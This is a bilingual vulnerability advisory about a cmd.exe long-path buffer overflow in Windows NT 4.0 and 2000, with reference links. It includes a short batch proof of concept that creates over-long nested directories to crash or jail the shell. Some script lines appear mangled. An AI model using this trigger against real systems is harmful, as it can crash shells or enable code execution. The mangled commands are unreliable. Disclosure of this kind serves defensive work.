https://www.exploit-db.com/exploits/22245
https://cxsecurity.com/issue/WLB-2007100072
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200312-134

WindowsNT和2000是Microsoft开发和维护的操作系统。WindowsNT和2000中使用的cmd.exe没有正确处理路径超过256字符的情况，本地攻击者可以利用这个漏洞进行缓冲区溢出或者cd转换目录命令失败。NTFS文件系统允许建立无限长度的路径，而WindowsAPI却只允许路径不超过256字节。WindowsNT和2000下的cmd.exe不能正确处理路径包含256字符的情况，如果cd命令用于更换到超过256字符的子目录，在WindowsNT4.0系统下会发生缓冲区溢出，存在执行任意指令可能，而在Windows2000下会导致cd命令失败。

source: http://www.securityfocus.com/bid/6829/info

The Windows NT and 2000 command prompt (cmd.exe) does not properly handle paths containing more than 256 characters. If the cd (change directory) command is used to change to a subdirectory resulting in a path with more than 256 characters, a buffer is overrun. This could lead to cmd.exe failing with the possibility of code execution on Windows NT 4.0 systems. Automated scripts that traverse and preform operations on arbitrary directories are particularly vulnerable.

On Windows 2000 systems, cmd.exe will become 'jailed' in the directory. 

@echo off
SET A=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SET B=BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
mkdir \?c:%A%
mkdir \?c:%A%%A%
mkdir \?c:%A%%B%c:
cd cd AAAAAAAAAAAA*
cd AAAAAAAAAAAA*
cd BBBBBBBBBBBB*
cd ..

来源:XF
名称:win-cmd-cd-bo(11329)
链接:http://xforce.iss.net/xforce/xfdb/11329
来源:BID
名称:6829
链接:http://www.securityfocus.com/bid/6829
来源:BUGTRAQ
名称:20030211SECURITY.NNOV:WindowsNT4.0/2000cmd.exelongpathbufferoverflow/DoS
链接:http://www.securityfocus.com/archive/1/311359
来源:SREASON
名称:3251
链接:http://securityreason.com/securityalert/3251
来源：NSFOCUS
名称：4377
链接：http://www.nsfocus.net/vulndb/4377